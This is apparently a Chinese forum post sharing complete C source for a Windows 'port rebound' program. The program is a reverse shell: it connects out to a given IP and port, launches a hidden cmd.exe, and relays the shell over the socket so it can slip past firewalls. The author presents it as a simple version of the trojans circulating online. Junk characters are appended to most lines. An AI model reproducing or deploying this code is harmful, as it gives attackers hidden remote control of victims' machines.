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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Wo2M}]0  
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/* ============================== 5TnECk  
Rebound port in Windows NT kwyvd`J8  
By wind,2006/7 ^T<<F}@q  
===============================*/ #K4wO!d  
#include 6'Lij&,f?{  
#include 7M$>'PfO  
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#pragma comment(lib,"wsock32.lib") FJ2^0s/"  
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void OutputShell(); Zd5fr c$  
SOCKET sClient; zCco/]h  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Zd~Z`B} &  
9xWeVlfQ  
void main(int argc,char **argv) 1$ l3-x  
{ `Y(/G"]  
WSADATA stWsaData; e8gD(T  
int nRet; f|< *2Mk  
SOCKADDR_IN stSaiClient,stSaiServer; t=yM}#r$  
h\20  
if(argc != 3) M&>Z[o  
{ |~Z+Xl a  
printf("Useage:\n\rRebound DestIP DestPort\n"); (^6SF>'  
return; E8V,".!+E  
} IB?5y~+h  
9pk<=F  
WSAStartup(MAKEWORD(2,2),&stWsaData); SYC_=X  
+ 1cK (Si  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0&w.QoZY(  
:ox+WY  
stSaiClient.sin_family = AF_INET; M VsIyP  
stSaiClient.sin_port = htons(0); *.i` hfRc  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); nNL9B~d  
av5lgv)3  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +:^tppg  
{ {j^}"8GB  
printf("Bind Socket Failed!\n"); D&]SPhX  
return; ci*Z9&eS+  
} X"[c[YT!%[  
v4 c_UFEh<  
stSaiServer.sin_family = AF_INET; TYB^CVSZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~A6QX8a  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M~wJe@bc  
BGUP-_&  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8WaVs6  
{ T"dEa-O  
printf("Connect Error!"); paiF ah  
return; ,c7 8O8|  
} % +eZ U)N  
OutputShell(); ya|7hz{  
} P+o ZS  
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void OutputShell() #Ok*O r  
{ CRS/qso[Q'  
char szBuff[1024]; EY&hWl*a^  
SECURITY_ATTRIBUTES stSecurityAttributes; W**a\[~$  
OSVERSIONINFO stOsversionInfo; <S5Am%vo  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; QPdhesrd-  
STARTUPINFO stStartupInfo; x==%BBnO%  
char *szShell; 4m%_#J{  
PROCESS_INFORMATION stProcessInformation; pYVQ-r%QF  
unsigned long lBytesRead;  @4H*kA  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :~g=n&x  
0h$23.  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + e4o~ p  
stSecurityAttributes.lpSecurityDescriptor = 0; S^~GI$  
stSecurityAttributes.bInheritHandle = TRUE; h*&-[nSo  
/Wk\ 6  
~u-mEdu3C  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Rl-Sr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); qifX7AXHr  
JZN'U<R  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); mVW:]|!s  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tE- s/  
stStartupInfo.wShowWindow = SW_HIDE; C:zK{+  
stStartupInfo.hStdInput = hReadPipe; ^qYJx  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [,$] %|6wt  
;aWH`^{i  
GetVersionEx(&stOsversionInfo); > STWt>s  
$^}?98m  
switch(stOsversionInfo.dwPlatformId) RCo!sZP}  
{ ^q7 fN0"6  
case 1: t-i;  
szShell = "command.com"; i5q VQo  
break; -+-@Yq$  
default: 5c! ~WckbJ  
szShell = "cmd.exe"; 9UZKL@KC  
break; pjWqI 6,  
} n<uF9N<   
!z$.Jcr1  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CsJw;]dYI  
OT&J OTk\  
send(sClient,szMsg,77,0); E9YR *P4$  
while(1) M)#aX|%Mh  
{ 6/Q'o5>NL:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j0~]o})@i  
if(lBytesRead) w?Cqe N  
{ ^#9 &Rk!t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S{zi8Oc6  
send(sClient,szBuff,lBytesRead,0); k$j>_U? P  
} Zchs/C 9{  
else {+F/lN@  
{  bF0 y`  
lBytesRead=recv(sClient,szBuff,1024,0); JUt 7  
if(lBytesRead<=0) break; pPuE-EDk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !MOVv\@O  
} yF0\$%H>$  
} ,|<2wn#q  
~k'KS 7c  
return; & gnE"  
}
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